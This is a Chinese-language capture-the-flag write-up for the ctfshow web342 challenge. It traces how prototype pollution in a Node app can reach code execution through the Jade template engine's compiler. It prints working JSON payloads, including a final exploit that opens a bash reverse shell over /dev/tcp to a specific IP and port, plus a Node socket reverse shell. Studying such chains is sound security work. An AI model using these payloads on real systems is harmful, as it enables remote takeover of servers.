题目描述处蓝奏云下载源码
    web342.zip
    然后还有个提示

    审计了1个小时发现的,此链目前网上未公开,难度稍大

    本题就不是用 ejs 进行模板渲染了,而是使用了 jade

    一开始想看其他师傅的文章
    https://xz.aliyun.com/t/7025
    emm,但是发现说的每个字都认识,连起来就觉得有点莫名其妙了。。于是想着先自己手动分析一下,熟悉一波,方便自己和师傅在同一个频道上,防止师傅说的每句话都感觉莫名其妙…

    详细的断点分析参考
    https://lonmar.cn/2021/02/22/%E5%87%A0%E4%B8%AAnode%E6%A8%A1%E6%9D%BF%E5%BC%95%E6%93%8E%E7%9A%84%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93%E5%88%86%E6%9E%90/#0x02-jade

    这里用 VS Code 来 debug 分析
    image.png
    就会自动创建这样一个文件

    1. {
    2. // Use IntelliSense to learn about possible attributes.
    3. // Hover to view descriptions of existing attributes.
    4. // For more information, visit: https://go.microsoft.com/fwlink/?linkid=830387
    5. "version": "0.2.0",
    6. "configurations": [
    7. {
    8. "type": "pwa-node",
    9. "request": "launch",
    10. "name": "Launch Program",
    11. "skipFiles": [
    12. "<node_internals>/**"
    13. ],
    14. "program": "${workspaceFolder}/bin/www"
    15. }
    16. ]
    17. }

    然后下个断点,运行一下,访问网页就可以开始愉快的 debug 了
    image.png
    这里直接用 ctfshow web342 的代码进行
    image.png
    依次进入 res.render=>app.render=>tryRender=>view.render=>this.engine
    image.png
    入口是 rederFile 方法,注意 renderFile 函数返回值可执行
    image.png
    进入 handleTemplateCache
    image.png
    进入 compile 函数
    image.png
    205行 有个 parse 解析,可以看到结果返回到 parsed,又传递给了 fn,先不管 parse 方法,继续向下看代码
    218行 这里就比较有趣了,有个看似可控的代码执行(new Function,这个在 web339 有提到)

    进入 parse 看看返回值中是否有可控部分
    image.png
    parse 方法内部可以看到先内部 parse 再内部 compile,内部 parse 结果最终会被拼接到外层 parse 函数返回值部分

    即 114行的 js对象 被拼接到 148行 或 149行的 js对象 里,最终拼接到 body键 返回
    image.png

    先跟进 114行compile 方法,发现本方法返回的是 buf
    image.png

    跟进 66行的 this.visit(this.node);
    image.png
    发现可控(因为 node.filenameutils.stringify() 了)的 node.line 可以被 pushbuf 中,条件是 this.debug=true

    然后在 212行的 this.visitNode(node); 去遍历 ast 树,遍历完后回到 compile 方法
    image.png
    可以看到 node.line 被记录到 fn 中,然后通过 Function 调用执行这部分代码。

    也就是说如果我们可以污染 node.line 就可以运行我们代码。
    也就是说 jade 本身是没有漏洞的,因为模板的渲染逻辑是如何,但问题是,如果存在可控的原型链污染,就可以帮助我们污染 node.line

    于是尝试 POST /login 接口

    1. {"__proto__":{"__proto__":{"line":"global.process.mainModule.require('child_process').execSync('whoami')"}}}

    断点发现,, node.line 值还是 012 之类的?

    突然醒悟,,还有一个问题,我们在调试过程中发现,node.line 是存在值的,比如上图中的 012 ,如果存在值的话,它会直接获取这个值,而不是获取我们污染过的 Object 对象里的值!

    其实原型链污染的利用核心就是:访问对象的属性/值为 undefined 才行,不然我们污染 Object 对象就没有意义了。

    现在看这篇文章就能看懂了,而且发现总结的非常好。。
    https://xz.aliyun.com/t/7025

    好的,在同一频道上了。
    先梳理上面分析的函数调用栈,我们断点入口在 routes/index.js res.render('index',{title:'ctfshow'}); ,调用栈如下

    1. routes/index.js :: res.render
    2. jade/lib/index.js :: exports.__express
    3. jade/lib/index.js :: exports.renderFile
      1. jade/lib/index.js :: handleTemplateCache
    4. jade/lib/index.js :: exports.compile
      1. jade/lib/index.js :: parse -> compiler.compile();
        1. jade/lib/compiler.js :: Compiler.compile -> this.visit(this.node)
        2. jade/lib/compiler.js :: this.visit
        3. jade/lib/compiler.js :: this.buf.push
      2. jade/lib/index.js :: parse -> options.self
      3. jade/lib/index.js :: fn = new Function(‘locals, jade’, fn)
      4. jade/lib/index.js :: fn(locals, Object.create(runtime))

    至 4. a. iii. 这部分调用栈用下图,4. b. c. d. 的在上面 debug 也有提及,因此调用栈这部分问题不大
    image.png

    问题有 3

    1. visit 方法中 this.debug=true ,不然 this.buf.push 调用不了
    2. 在上面提到的:node.line 在某处为 undefined 才行,不然我们污染的 Object 对象就没意义
    3. 保证能够执行到渲染阶段,因为覆盖某些属性会导致莫名其妙的异常

    第 1 个问题容易解决,因为在 Jade 入口 exports.__express ,我们上面 deubg 分析时也看到

    1. exports.__express = function (path, options, fn) {
    2. if (options.compileDebug == undefined && process.env.NODE_ENV === 'production') {
    3. options.compileDebug = false;
    4. }
    5. exports.renderFile(path, options, fn);
    6. }

    options.compileDebug 无初始值,可以覆盖开启 Debug 模式(经分析,this.debug 获取的就是这里的 debug 值),当然也有另外一种情况,部署时,没有正确配置 req.app.get('env') 导致 debug 模式开启,那么这个变量也可以不用覆盖,但为了确保通用性,这里还是覆盖一下,防止正确配置,2333。

    这里因 utils.copy(user.userinfo,req.body); 与 web341一样,userinfo.__proto__.__proto__ 才是 Object 对象的原型,所以要套两层。

    1. {"__proto__":{"__proto__":{"compileDebug":1}}}

    先打一下
    image.png
    第 3 个问题提前出现了,要先解决这个问题,保证代码能够执行到渲染阶段
    image.png
    和先知文章里不同,这里报错有点不一样,先跟进 Compiler.visitNode 225行看一下
    image.png
    拼接一下,发现没有这个方法
    image.png
    在遍历AST树时,通常是通过 "visit" + 节点类型 来遍历所有节点的,观察错误调用栈也知,比如 visitBlock,就是访问 Block 节点。那 Block 可用,我们就污染一下 type 就好了,当它当前上下文找不到就去找 Object 了。

    当然选取时,最好是选的节点附带的上下文信息进入后,啥事也不会做的,不然也有走向奇奇怪怪的逻辑,先来看看 Block 节点。
    image.png
    这里加上这部分逻辑,来看看我们故意伪造 Block 节点会发生什么

    1. if (node.type == undefined) {
    2. return this['visit' + 'Block'](node);
    3. }

    image.png
    这里 block.nodesundefined ,然后 undefined.length
    image.png
    明显,这样访问会报错,导致进入其他错误,然后 jade 没有对这块异常进行处理。

    也就是说,如果 vist 的节点不是这种 block.子属性.孙子属性 问题应该不大。顶多一个 undefined 然后直接结束啥的,这里试试 visitCode
    image.png
    正常走到后面,没有报错,期间只触发了 this.buf.push(code.val) ,问题应该不大。
    image.png
    尝试污染 typeCode

    1. {"__proto__":{"__proto__":{"compileDebug":1,"type":"Code"}}}

    image.png
    好耶,像是解决了,因为这个报错和先知文章报错一致。
    image.png
    尝试解决这个报错,因为看错误调这里好像还没到渲染成功的地方。
    分析这个错误栈,可以看到前 4 点还是属于 jade 范畴。先跟进 jade 模块最后报错的地方,即 jade/libindex.js 149行的 parse 方法,
    image.png
    发现,程序已经走完刚刚AST遍历部分了,已经差不多要返回了。
    感觉只要避免进入149行的 addWith 方法,就可以渲染成功了!
    然后进入149行的 addWith 方法是满足147行的 options.self 值为 False,尝试下看看这个 options.self 默认是不是 undefined,如果是就可以污染了。
    image.png
    nice,就是 undefined ,尝试污染 selftrue1 也可以

    1. {"__proto__":{"__proto__":{"compileDebug":1,"type":"Code","self":1}}}

    image.png
    image.png
    !!!终于走到渲染这一步了!
    看到 undefined 好说,污染就完事了 (

    1. {"__proto__":{"__proto__":{"compileDebug":1,"type":"Code","self":1,"title":"tari"}}}

    到这 index 的页面渲染就没啥问题了,到 第 2 个问题,node.line 在某处为 undefined 才行,不然我们污染的 Object 对象就没意义

    这里如果一步一步动态调试会比较麻烦,直接注入测试即可
    image.png
    发现都 nodeBlock 的时候 line 是不存在的。
    image.png

    理论上,只要覆盖了 node.line 即可达到代码执行的目的。
    然后拼接上面避免报错的参数,得到

    1. {"__proto__":{"__proto__":{"compileDebug":1,"type":"Code","self":1,"title":"tari","line":"global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/服务器IP/2233>&1\"')"}}}

    反弹 Shell
    image.png
    再 POST一次,发送的数据包不用变
    image.png
    不就少了个 message,那我污染你呗,,然后 message 后又说少了 error 继续污染,然后 error 是一个对象,就需要弄个 json 格式数据啦。
    image.png

    emmm,到这,其实一开始就犯了个很蠢的错。。。其实一开始就应该污染 line 先的,然后在试 compileDebugtypeself,蠢哭了,,因为,如果不污染 line 先的话,不能保证在 line 正确的情况下试其他的,就会导致,,其他对了,加上 line 就错了。。

    其实这里,压根就不用污染 title,如果是 先污染 line,然后到 compileDebugtypeself 会发现,到 self 这就可以成功反弹 shell 了,人都傻了。。。

    最终 EXP

    1. {"__proto__":{"__proto__":{"compileDebug":1,"type":"Code","self":1,"line":"global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/119.28.15.55/2233 0>&1\"')"}}}

    image.png
    不用变,在POST一次即可
    image.png

    原本想用原生Socket的,不知道为啥老是报错,奇怪,,难道闭合不了?
    image.png

    1. {"__proto__":{"__proto__":{"compileDebug":1,"type":"Code","self":1,"line":"(function(){var net=global.process.mainModule.constructor._load('net'),cp=global.process.mainModule.constructor._load('child_process'),sh=cp.spawn('/bin/sh',[]);var client=new net.Socket();client.connect(2233,'服务器IP',function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;})();"}}}